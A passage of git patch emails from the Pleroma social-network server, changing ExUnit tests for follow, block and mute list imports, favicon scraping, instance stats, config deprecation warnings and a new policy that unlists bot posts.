- assert response == "job started" - - assert ObanHelpers.member?( - %{ - "op" => "follow_import", - "follower_id" => user1.id, - "followed_identifiers" => [user2.ap_id] - }, - all_enqueued(worker: Pleroma.Workers.BackgroundWorker) - ) - end - end - - test "it imports new-style mastodon follow lists", %{conn: conn} do - user2 = insert(:user) - - response = - conn - |> post("/api/pleroma/follow_import", %{ - "list" => "Account address,Show boosts\n#{user2.ap_id},true" - }) - |> json_response(:ok) - - assert response == "job started" - end - - test "requires 'follow' or 'write:follows' permissions" do - token1 = insert(:oauth_token, scopes: ["read", "write"]) - token2 = insert(:oauth_token, scopes: ["follow"]) - token3 = insert(:oauth_token, scopes: ["something"]) - another_user = insert(:user) - - for token <- [token1, token2, token3] do - conn = - build_conn() - |> put_req_header("authorization", "Bearer #{token.token}") - |> post("/api/pleroma/follow_import", %{"list" => "#{another_user.ap_id}"}) - - if token == token3 do - assert %{"error" => "Insufficient permissions: follow | write:follows."} == - json_response(conn, 403) - else - assert json_response(conn, 200) - end - end - end - - test "it imports follows with different nickname variations", %{conn: conn} do - [user2, user3, user4, user5, user6] = insert_list(5, :user) - - identifiers = - [ - user2.ap_id, - user3.nickname, - " ", - "@" <> user4.nickname, - user5.nickname <> "@localhost", - "@" <> user6.nickname <> "@localhost" - ] - |> Enum.join("\n") - - response = - conn - |> post("/api/pleroma/follow_import", %{"list" => identifiers}) - |> json_response(:ok) - - assert response == "job started" - assert [{:ok, job_result}] = ObanHelpers.perform_all() - assert job_result == [user2, user3, user4, user5, user6] - end - end - - describe "POST /api/pleroma/blocks_import" do - # Note: "follow" or "write:blocks" permission is required - setup do: oauth_access(["write:blocks"]) - - test "it returns HTTP 200", %{conn: conn} do - user2 = insert(:user) - - response = - conn - |> post("/api/pleroma/blocks_import", %{"list" => "#{user2.ap_id}"}) - |> json_response(:ok) - - assert response == "job started" - end - - test "it imports blocks users from file", %{user: user1, conn: conn} do - user2 = insert(:user) - user3 = insert(:user) - - with_mocks([ - {File, [], read!: fn "blocks_list.txt" -> "#{user2.ap_id} #{user3.ap_id}" end} - ]) do - response = - conn - |> post("/api/pleroma/blocks_import", %{"list" => %Plug.Upload{path: "blocks_list.txt"}}) - |> json_response(:ok) - - assert response == "job started" - - assert ObanHelpers.member?( - %{ - "op" => "blocks_import", - "blocker_id" => user1.id, - "blocked_identifiers" => [user2.ap_id, user3.ap_id] - }, - all_enqueued(worker: Pleroma.Workers.BackgroundWorker) - ) - end - end - - test "it imports blocks with different nickname variations", %{conn: conn} do - [user2, user3, user4, user5, user6] = insert_list(5, :user) - - identifiers = - [ - user2.ap_id, - user3.nickname, - "@" <> user4.nickname, - user5.nickname <> "@localhost", - "@" <> user6.nickname <> "@localhost" - ] - |> Enum.join(" ") - - response = - conn - |> post("/api/pleroma/blocks_import", %{"list" => identifiers}) - |> json_response(:ok) - - assert response == "job started" - assert [{:ok, job_result}] = ObanHelpers.perform_all() - assert job_result == [user2, user3, user4, user5, user6] - end - end - describe "PUT /api/pleroma/notification_settings" do setup do: oauth_access(["write:accounts"]) -- cgit v1.2.3 From 917d325972e3aeb367583c61aaa109d62fcba837 Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov <parallel588@gmail.com> Date: Mon, 7 Sep 2020 07:17:30 +0300 Subject: added api spec --- test/user/import_test.exs | 2 - .../controllers/user_import_controller_test.exs | 108 +++++++++++++-------- 2 files changed, 69 insertions(+), 41 deletions(-) (limited to 'test') diff --git a/test/user/import_test.exs b/test/user/import_test.exs index 476b22678..e404deeb5 100644 --- a/test/user/import_test.exs +++ b/test/user/import_test.exs @@ -3,7 +3,6 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.User.ImportTest do - alias Pleroma.Repo alias Pleroma.Tests.ObanHelpers alias Pleroma.User @@ -37,7 +36,6 @@ defmodule Pleroma.User.ImportTest do end end - describe "blocks_import" do test "it imports user blocks from list" do [user1, user2, user3] = insert_list(3, :user) diff --git a/test/web/pleroma_api/controllers/user_import_controller_test.exs b/test/web/pleroma_api/controllers/user_import_controller_test.exs index d1a8a46fc..433c97e81 100644 --- a/test/web/pleroma_api/controllers/user_import_controller_test.exs +++ b/test/web/pleroma_api/controllers/user_import_controller_test.exs @@ -23,9 +23,11 @@ defmodule Pleroma.Web.PleromaAPI.UserImportControllerTest do test "it returns HTTP 200", %{conn: conn} do user2 = insert(:user) - assert "job started" == conn - |> post("/api/pleroma/follow_import", %{"list" => "#{user2.ap_id}"}) - |> json_response(:ok) + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/follow_import", %{"list" => "#{user2.ap_id}"}) + |> json_response_and_validate_schema(200) end test "it imports follow lists from file", %{conn: conn} do @@ -37,9 +39,13 @@ defmodule Pleroma.Web.PleromaAPI.UserImportControllerTest do "Account address,Show boosts\n#{user2.ap_id},true" end} ]) do - assert "job started" == conn - |> post("/api/pleroma/follow_import", %{"list" => %Plug.Upload{path: "follow_list.txt"}}) - |> json_response(:ok) + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/follow_import", %{ + "list" => %Plug.Upload{path: "follow_list.txt"} + }) + |> json_response_and_validate_schema(200) assert [{:ok, job_result}] = ObanHelpers.perform_all() assert job_result == [user2] @@ -49,11 +55,13 @@ defmodule Pleroma.Web.PleromaAPI.UserImportControllerTest do test "it imports new-style mastodon follow lists", %{conn: conn} do user2 = insert(:user) - response = conn - |> post("/api/pleroma/follow_import", %{ - "list" => "Account address,Show boosts\n#{user2.ap_id},true"} - ) - |> json_response(:ok) + response = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/follow_import", %{ + "list" => "Account address,Show boosts\n#{user2.ap_id},true" + }) + |> json_response_and_validate_schema(200) assert response == "job started" end @@ -68,6 +76,7 @@ defmodule Pleroma.Web.PleromaAPI.UserImportControllerTest do conn = build_conn() |> put_req_header("authorization", "Bearer #{token.token}") + |> put_req_header("content-type", "application/json") |> post("/api/pleroma/follow_import", %{"list" => "#{another_user.ap_id}"}) if token == token3 do @@ -93,9 +102,11 @@ defmodule Pleroma.Web.PleromaAPI.UserImportControllerTest do ] |> Enum.join("\n") - assert "job started" == conn - |> post("/api/pleroma/follow_import", %{"list" => identifiers}) - |> json_response(:ok) + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/follow_import", %{"list" => identifiers}) + |> json_response_and_validate_schema(200) assert [{:ok, job_result}] = ObanHelpers.perform_all() assert job_result == users @@ -109,9 +120,11 @@ defmodule Pleroma.Web.PleromaAPI.UserImportControllerTest do test "it returns HTTP 200", %{conn: conn} do user2 = insert(:user) - assert "job started" == conn - |> post("/api/pleroma/blocks_import", %{"list" => "#{user2.ap_id}"}) - |> json_response(:ok) + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/blocks_import", %{"list" => "#{user2.ap_id}"}) + |> json_response_and_validate_schema(200) end test "it imports blocks users from file", %{conn: conn} do @@ -120,10 +133,13 @@ defmodule Pleroma.Web.PleromaAPI.UserImportControllerTest do with_mocks([ {File, [], read!: fn "blocks_list.txt" -> "#{user2.ap_id} #{user3.ap_id}" end} ]) do - - assert "job started" == conn - |> post("/api/pleroma/blocks_import", %{"list" => %Plug.Upload{path: "blocks_list.txt"}}) - |> json_response(:ok) + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/blocks_import", %{ + "list" => %Plug.Upload{path: "blocks_list.txt"} + }) + |> json_response_and_validate_schema(200) assert [{:ok, job_result}] = ObanHelpers.perform_all() assert job_result == users @@ -143,9 +159,11 @@ defmodule Pleroma.Web.PleromaAPI.UserImportControllerTest do ] |> Enum.join(" ") - assert "job started" == conn - |> post("/api/pleroma/blocks_import", %{"list" => identifiers}) - |> json_response(:ok) + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/blocks_import", %{"list" => identifiers}) + |> json_response_and_validate_schema(200) assert [{:ok, job_result}] = ObanHelpers.perform_all() assert job_result == users @@ -159,25 +177,30 @@ defmodule Pleroma.Web.PleromaAPI.UserImportControllerTest do test "it returns HTTP 200", %{user: user, conn: conn} do user2 = insert(:user) - assert "job started" == conn - |> post("/api/pleroma/mutes_import", %{"list" => "#{user2.ap_id}"}) - |> json_response(:ok) + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/mutes_import", %{"list" => "#{user2.ap_id}"}) + |> json_response_and_validate_schema(200) assert [{:ok, job_result}] = ObanHelpers.perform_all() assert job_result == [user2] assert Pleroma.User.mutes?(user, user2) end - test "it imports mutes users from file", %{user: user, conn: conn} do users = [user2, user3] = insert_list(2, :user) with_mocks([ {File, [], read!: fn "mutes_list.txt" -> "#{user2.ap_id} #{user3.ap_id}" end} ]) do - assert "job started" == conn - |> post("/api/pleroma/mutes_import", %{"list" => %Plug.Upload{path: "mutes_list.txt"}}) - |> json_response(:ok) + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/mutes_import", %{ + "list" => %Plug.Upload{path: "mutes_list.txt"} + }) + |> json_response_and_validate_schema(200) assert [{:ok, job_result}] = ObanHelpers.perform_all() assert job_result == users @@ -188,15 +211,22 @@ defmodule Pleroma.Web.PleromaAPI.UserImportControllerTest do test "it imports mutes with different nickname variations", %{user: user, conn: conn} do users = [user2, user3, user4, user5, user6] = insert_list(5, :user) - identifiers = [ - user2.ap_id, user3.nickname, "@" <> user4.nickname, - user5.nickname <> "@localhost", "@" <> user6.nickname <> "@localhost" - ] - |> Enum.join(" ") + identifiers = + [ + user2.ap_id, + user3.nickname, + "@" <> user4.nickname, + user5.nickname <> "@localhost", + "@" <> user6.nickname <> "@localhost" + ] + |> Enum.join(" ") + + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/mutes_import", %{"list" => identifiers}) + |> json_response_and_validate_schema(200) - assert "job started" == conn - |> post("/api/pleroma/mutes_import", %{"list" => identifiers}) - |> json_response(:ok) assert [{:ok, job_result}] = ObanHelpers.perform_all() assert job_result == users assert Enum.all?(users, &Pleroma.User.mutes?(user, &1)) -- cgit v1.2.3 From 08aef7dd4e054c5ed02e359b61fe57daad97fbde Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" <contact@hacktivis.me> Date: Sat, 5 Sep 2020 06:38:07 +0200 Subject: instance: Log catch favicon errors as warnings --- test/web/instances/instance_test.exs | 33 +++++++++++++++++++++++++++++++++ 1 file changed, 33 insertions(+) (limited to 'test') diff --git a/test/web/instances/instance_test.exs b/test/web/instances/instance_test.exs index e463200ca..dc6ace843 100644 --- a/test/web/instances/instance_test.exs +++ b/test/web/instances/instance_test.exs @@ -8,6 +8,7 @@ defmodule Pleroma.Instances.InstanceTest do use Pleroma.DataCase + import ExUnit.CaptureLog import Pleroma.Factory setup_all do: clear_config([:instance, :federation_reachability_timeout_days], 1) @@ -97,4 +98,36 @@ defmodule Pleroma.Instances.InstanceTest do assert initial_value == instance.unreachable_since end end + + test "Scrapes favicon URLs" do + Tesla.Mock.mock(fn %{url: "https://favicon.example.org/"} -> + %Tesla.Env{ + status: 200, + body: ~s[<html><head><link rel="icon" href="/favicon.png"></head></html>] + } + end) + + assert "https://favicon.example.org/favicon.png" == + Instance.get_or_update_favicon(URI.parse("https://favicon.example.org/")) + end + + test "Returns nil on too long favicon URLs" do + long_favicon_url = + "https://Lorem.ipsum.dolor.sit.amet/consecteturadipiscingelit/Praesentpharetrapurusutaliquamtempus/Mauriseulaoreetarcu/atfacilisisorci/Nullamporttitor/nequesedfeugiatmollis/dolormagnaefficiturlorem/nonpretiumsapienorcieurisus/Nullamveleratsem/Maecenassedaccumsanexnam/favicon.png" + + Tesla.Mock.mock(fn %{url: "https://long-favicon.example.org/"} -> + %Tesla.Env{ + status: 200, + body: ~s[<html><head><link rel="icon" href="] <> long_favicon_url <> ~s["></head></html>] + } + end) + + assert capture_log(fn -> + assert nil == + Instance.get_or_update_favicon( + URI.parse("https://long-favicon.example.org/") + ) + end) =~ + "Instance.get_or_update_favicon(\"long-favicon.example.org\") error: %Postgrex.Error{" + end end -- cgit v1.2.3 From ee67c98e550310813cfdb9242e5fab2e566e1e2a Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Sun, 6 Sep 2020 12:13:26 +0300 Subject: removing Stats worker from Oban cron jobs --- test/stats_test.exs | 21 ++++++++++++--------- 1 file changed, 12 insertions(+), 9 deletions(-) (limited to 'test') diff --git a/test/stats_test.exs b/test/stats_test.exs index f09d8d31a..74bf785b0 100644 --- a/test/stats_test.exs +++ b/test/stats_test.exs @@ -4,7 +4,10 @@ defmodule Pleroma.StatsTest do use Pleroma.DataCase + import Pleroma.Factory + + alias Pleroma.Stats alias Pleroma.Web.CommonAPI describe "user count" do @@ -13,7 +16,7 @@ defmodule Pleroma.StatsTest do _internal = insert(:user, local: true, nickname: nil) _internal = Pleroma.Web.ActivityPub.Relay.get_actor() - assert match?(%{stats: %{user_count: 1}}, Pleroma.Stats.calculate_stat_data()) + assert match?(%{stats: %{user_count: 1}}, Stats.calculate_stat_data()) end end @@ -47,23 +50,23 @@ defmodule Pleroma.StatsTest do end) assert %{"direct" => 3, "private" => 4, "public" => 1, "unlisted" => 2} = - Pleroma.Stats.get_status_visibility_count() + Stats.get_status_visibility_count() end test "on status delete" do user = insert(:user) {:ok, activity} = CommonAPI.post(user, %{visibility: "public", status: "hey"}) - assert %{"public" => 1} = Pleroma.Stats.get_status_visibility_count() + assert %{"public" => 1} = Stats.get_status_visibility_count() CommonAPI.delete(activity.id, user) - assert %{"public" => 0} = Pleroma.Stats.get_status_visibility_count() + assert %{"public" => 0} = Stats.get_status_visibility_count() end test "on status visibility update" do user = insert(:user) {:ok, activity} = CommonAPI.post(user, %{visibility: "public", status: "hey"}) - assert %{"public" => 1, "private" => 0} = Pleroma.Stats.get_status_visibility_count() + assert %{"public" => 1, "private" => 0} = Stats.get_status_visibility_count() {:ok, _} = CommonAPI.update_activity_scope(activity.id, %{visibility: "private"}) - assert %{"public" => 0, "private" => 1} = Pleroma.Stats.get_status_visibility_count() + assert %{"public" => 0, "private" => 1} = Stats.get_status_visibility_count() end test "doesn't count unrelated activities" do @@ -75,7 +78,7 @@ defmodule Pleroma.StatsTest do CommonAPI.repeat(activity.id, other_user) assert %{"direct" => 0, "private" => 0, "public" => 1, "unlisted" => 0} = - Pleroma.Stats.get_status_visibility_count() + Stats.get_status_visibility_count() end end @@ -110,10 +113,10 @@ defmodule Pleroma.StatsTest do end) assert %{"direct" => 10, "private" => 0, "public" => 1, "unlisted" => 5} = - Pleroma.Stats.get_status_visibility_count(local_instance) + Stats.get_status_visibility_count(local_instance) assert %{"direct" => 0, "private" => 20, "public" => 0, "unlisted" => 0} = - Pleroma.Stats.get_status_visibility_count(instance2) + Stats.get_status_visibility_count(instance2) end end end -- cgit v1.2.3 From 696bf09433aa7f33cf580c71cb7f1f3367d4c124 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Mon, 7 Sep 2020 16:57:42 +0300 Subject: passing adapter options directly without adapter key --- test/web/instances/instance_test.exs | 2 ++ test/web/mastodon_api/views/account_view_test.exs | 40 ++++++++++++----------- 2 files changed, 23 insertions(+), 19 deletions(-) (limited to 'test') diff --git a/test/web/instances/instance_test.exs b/test/web/instances/instance_test.exs index dc6ace843..5d4efcebe 100644 --- a/test/web/instances/instance_test.exs +++ b/test/web/instances/instance_test.exs @@ -112,6 +112,8 @@ defmodule Pleroma.Instances.InstanceTest do end test "Returns nil on too long favicon URLs" do + clear_config([:instances_favicons, :enabled], true) + long_favicon_url = "https://Lorem.ipsum.dolor.sit.amet/consecteturadipiscingelit/Praesentpharetrapurusutaliquamtempus/Mauriseulaoreetarcu/atfacilisisorci/Nullamporttitor/nequesedfeugiatmollis/dolormagnaefficiturlorem/nonpretiumsapienorcieurisus/Nullamveleratsem/Maecenassedaccumsanexnam/favicon.png" diff --git a/test/web/mastodon_api/views/account_view_test.exs b/test/web/mastodon_api/views/account_view_test.exs index 8f37efa3c..68a5d0091 100644 --- a/test/web/mastodon_api/views/account_view_test.exs +++ b/test/web/mastodon_api/views/account_view_test.exs @@ -5,7 +5,6 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do use Pleroma.DataCase - alias Pleroma.Config alias Pleroma.User alias Pleroma.UserRelationship alias Pleroma.Web.CommonAPI @@ -19,8 +18,6 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do :ok end - setup do: clear_config([:instances_favicons, :enabled]) - test "Represent a user account" do background_image = %{ "url" => [%{"href" => "https://example.com/images/asuka_hospital.png"}] @@ -78,8 +75,7 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do pleroma: %{ ap_id: user.ap_id, background_image: "https://example.com/images/asuka_hospital.png", - favicon: - "https://shitposter.club/plugins/Qvitter/img/gnusocial-favicons/favicon-16x16.png", + favicon: nil, confirmation_pending: false, tags: [], is_admin: false, @@ -98,22 +94,29 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do assert expected == AccountView.render("show.json", %{user: user, skip_visibility_check: true}) end - test "Favicon is nil when :instances_favicons is disabled" do - user = insert(:user) + describe "favicon" do + setup do + [user: insert(:user)] + end - Config.put([:instances_favicons, :enabled], true) + test "is parsed when :instance_favicons is enabled", %{user: user} do + clear_config([:instances_favicons, :enabled], true) - assert %{ - pleroma: %{ - favicon: - "https://shitposter.club/plugins/Qvitter/img/gnusocial-favicons/favicon-16x16.png" - } - } = AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + assert %{ + pleroma: %{ + favicon: + "https://shitposter.club/plugins/Qvitter/img/gnusocial-favicons/favicon-16x16.png" + } + } = AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + end - Config.put([:instances_favicons, :enabled], false) + test "is nil when :instances_favicons is disabled", %{user: user} do + assert %{pleroma: %{favicon: nil}} = + AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + end + end - assert %{pleroma: %{favicon: nil}} = - AccountView.render("show.json", %{user: user, skip_visibility_check: true}) + test "Favicon when :instance_favicons is enabled" do end test "Represent the user account for the account owner" do @@ -173,8 +176,7 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do pleroma: %{ ap_id: user.ap_id, background_image: nil, - favicon: - "https://shitposter.club/plugins/Qvitter/img/gnusocial-favicons/favicon-16x16.png", + favicon: nil, confirmation_pending: false, tags: [], is_admin: false, -- cgit v1.2.3 From 18d21aed00dcbdaabd7db25b8b7d0c88141ec98a Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Mon, 7 Sep 2020 19:04:16 +0300 Subject: deprecation warnings --- test/config/deprecation_warnings_test.exs | 59 +++++++++++++++++++++++++++---- 1 file changed, 53 insertions(+), 6 deletions(-) (limited to 'test') diff --git a/test/config/deprecation_warnings_test.exs b/test/config/deprecation_warnings_test.exs index 555661a71..e22052404 100644 --- a/test/config/deprecation_warnings_test.exs +++ b/test/config/deprecation_warnings_test.exs @@ -4,12 +4,15 @@ defmodule Pleroma.Config.DeprecationWarningsTest do import ExUnit.CaptureLog + alias Pleroma.Config + alias Pleroma.Config.DeprecationWarnings + test "check_old_mrf_config/0" do clear_config([:instance, :rewrite_policy], Pleroma.Web.ActivityPub.MRF.NoOpPolicy) clear_config([:instance, :mrf_transparency], true) clear_config([:instance, :mrf_transparency_exclusions], []) - assert capture_log(fn -> Pleroma.Config.DeprecationWarnings.check_old_mrf_config() end) =~ + assert capture_log(fn -> DeprecationWarnings.check_old_mrf_config() end) =~ """ !!!DEPRECATION WARNING!!! Your config is using old namespaces for MRF configuration. They should work for now, but you are advised to change to new namespaces to prevent possible issues later: @@ -44,22 +47,66 @@ defmodule Pleroma.Config.DeprecationWarningsTest do ] assert capture_log(fn -> - Pleroma.Config.DeprecationWarnings.move_namespace_and_warn( + DeprecationWarnings.move_namespace_and_warn( config_map, "Warning preface" ) end) =~ "Warning preface\n error :key\n error :key2\n error :key3" - assert Pleroma.Config.get(new_group1) == 1 - assert Pleroma.Config.get(new_group2) == 2 - assert Pleroma.Config.get(new_group3) == 3 + assert Config.get(new_group1) == 1 + assert Config.get(new_group2) == 2 + assert Config.get(new_group3) == 3 end test "check_media_proxy_whitelist_config/0" do clear_config([:media_proxy, :whitelist], ["https://example.com", "example2.com"]) assert capture_log(fn -> - Pleroma.Config.DeprecationWarnings.check_media_proxy_whitelist_config() + DeprecationWarnings.check_media_proxy_whitelist_config() end) =~ "Your config is using old format (only domain) for MediaProxy whitelist option" end + + describe "check_gun_pool_options/0" do + test "await_up_timeout" do + config = Config.get(:connections_pool) + clear_config(:connections_pool, Keyword.put(config, :await_up_timeout, 5_000)) + + assert capture_log(fn -> + DeprecationWarnings.check_gun_pool_options() + end) =~ + "Your config is using old setting name `await_up_timeout` instead of `connect_timeout`" + end + + test "pool timeout" do + old_config = [ + federation: [ + size: 50, + max_waiting: 10, + timeout: 10_000 + ], + media: [ + size: 50, + max_waiting: 10, + timeout: 10_000 + ], + upload: [ + size: 25, + max_waiting: 5, + timeout: 15_000 + ], + default: [ + size: 10, + max_waiting: 2, + timeout: 5_000 + ] + ] + + clear_config(:pools, old_config) + + assert capture_log(fn -> + DeprecationWarnings.check_gun_pool_options() + end) =~ + "Your config is using old setting name `timeout` instead of `recv_timeout` in pool settings" + end + end end -- cgit v1.2.3 From 57cf0cc3b3029cb0ff017c53e2602ad945b8d9b3 Mon Sep 17 00:00:00 2001 From: Alibek Omarov <a1ba.omarov@gmail.com> Date: Mon, 7 Sep 2020 22:50:37 +0200 Subject: ForceBotUnlistedPolicy: add test --- .../mrf/force_bot_unlisted_policy_test.ex | 58 ++++++++++++++++++++++ 1 file changed, 58 insertions(+) create mode 100644 test/web/activity_pub/mrf/force_bot_unlisted_policy_test.ex (limited to 'test') diff --git a/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.ex b/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.ex new file mode 100644 index 000000000..84e2a9024 --- /dev/null +++ b/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.ex @@ -0,0 +1,58 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicyTest do + use Pleroma.DataCase + import Pleroma.Factory + + import Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicy + + defp generate_messages(actor) do + {%{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{}, + "to" => [@public, "f"], + "cc" => [actor.follower_address, "d"] + }, %{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{"to" => ["f", actor.follower_address], "cc" => ["d", @public]}, + "to" => ["f", actor.follower_address], + "cc" => ["d", @public] + }} + end + + test "removes from the federated timeline by nickname heuristics 1" do + actor = insert(:user, %{nickname: "annoying_ebooks@example.com"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end + + test "removes from the federated timeline by nickname heuristics 2" do + actor = insert(:user, %{nickname: "cirnonewsnetworkbot@meow.cat"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end + + test "removes from the federated timeline by actor type Application" do + actor = insert(:user, %{actor_type: "Application"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end + + test "removes from the federated timeline by actor type Service" do + actor = insert(:user, %{actor_type: "Service"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end +end -- cgit v1.2.3 From 8b695c3eeb6ee7a91fc5a8a4293fb3cb53212818 Mon Sep 17 00:00:00 2001 From: Alibek Omarov <a1ba.omarov@gmail.com> Date: Mon, 7 Sep 2020 22:53:45 +0200 Subject: ForceBotUnlistedPolicy: format --- .../mrf/force_bot_unlisted_policy_test.ex | 25 +++++++++++----------- 1 file changed, 13 insertions(+), 12 deletions(-) (limited to 'test') diff --git a/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.ex b/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.ex index 84e2a9024..6f001c233 100644 --- a/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.ex +++ b/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.ex @@ -10,18 +10,19 @@ defmodule Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicyTest do defp generate_messages(actor) do {%{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{}, - "to" => [@public, "f"], - "cc" => [actor.follower_address, "d"] - }, %{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{"to" => ["f", actor.follower_address], "cc" => ["d", @public]}, - "to" => ["f", actor.follower_address], - "cc" => ["d", @public] - }} + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{}, + "to" => [@public, "f"], + "cc" => [actor.follower_address, "d"] + }, + %{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{"to" => ["f", actor.follower_address], "cc" => ["d", @public]}, + "to" => ["f", actor.follower_address], + "cc" => ["d", @public] + }} end test "removes from the federated timeline by nickname heuristics 1" do -- cgit v1.2.3 From d2fd1d348122d8b0c3f4b0262cfc980afed83448 Mon Sep 17 00:00:00 2001 From: Alibek Omarov <a1ba.omarov@gmail.com> Date: Mon, 7 Sep 2020 23:04:07 +0200 Subject: ForceBotUnlistedPolicy: fix test extension --- .../mrf/force_bot_unlisted_policy_test.ex | 59 ---------------------- .../mrf/force_bot_unlisted_policy_test.exs | 59 ++++++++++++++++++++++ 2 files changed, 59 insertions(+), 59 deletions(-) delete mode 100644 test/web/activity_pub/mrf/force_bot_unlisted_policy_test.ex create mode 100644 test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs (limited to 'test') diff --git a/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.ex b/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.ex deleted file mode 100644 index 6f001c233..000000000 --- a/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.ex +++ /dev/null @@ -1,59 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicyTest do - use Pleroma.DataCase - import Pleroma.Factory - - import Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicy - - defp generate_messages(actor) do - {%{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{}, - "to" => [@public, "f"], - "cc" => [actor.follower_address, "d"] - }, - %{ - "actor" => actor.ap_id, - "type" => "Create", - "object" => %{"to" => ["f", actor.follower_address], "cc" => ["d", @public]}, - "to" => ["f", actor.follower_address], - "cc" => ["d", @public] - }} - end - - test "removes from the federated timeline by nickname heuristics 1" do - actor = insert(:user, %{nickname: "annoying_ebooks@example.com"}) - - {message, except_message} = generate_messages(actor) - - assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} - end - - test "removes from the federated timeline by nickname heuristics 2" do - actor = insert(:user, %{nickname: "cirnonewsnetworkbot@meow.cat"}) - - {message, except_message} = generate_messages(actor) - - assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} - end - - test "removes from the federated timeline by actor type Application" do - actor = insert(:user, %{actor_type: "Application"}) - - {message, except_message} = generate_messages(actor) - - assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} - end - - test "removes from the federated timeline by actor type Service" do - actor = insert(:user, %{actor_type: "Service"}) - - {message, except_message} = generate_messages(actor) - - assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} - end -end diff --git a/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs b/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs new file mode 100644 index 000000000..6f001c233 --- /dev/null +++ b/test/web/activity_pub/mrf/force_bot_unlisted_policy_test.exs @@ -0,0 +1,59 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicyTest do + use Pleroma.DataCase + import Pleroma.Factory + + import Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicy + + defp generate_messages(actor) do + {%{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{}, + "to" => [@public, "f"], + "cc" => [actor.follower_address, "d"] + }, + %{ + "actor" => actor.ap_id, + "type" => "Create", + "object" => %{"to" => ["f", actor.follower_address], "cc" => ["d", @public]}, + "to" => ["f", actor.follower_address], + "cc" => ["d", @public] + }} + end + + test "removes from the federated timeline by nickname heuristics 1" do + actor = insert(:user, %{nickname: "annoying_ebooks@example.com"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end + + test "removes from the federated timeline by nickname heuristics 2" do + actor = insert(:user, %{nickname: "cirnonewsnetworkbot@meow.cat"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end + + test "removes from the federated timeline by actor type Application" do + actor = insert(:user, %{actor_type: "Application"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end + + test "removes from the federated timeline by actor type Service" do + actor = insert(:user, %{actor_type: "Service"}) + + {message, except_message} = generate_messages(actor) + + assert ForceBotUnlistedPolicy.filter(message) == {:ok, except_message} + end +end -- 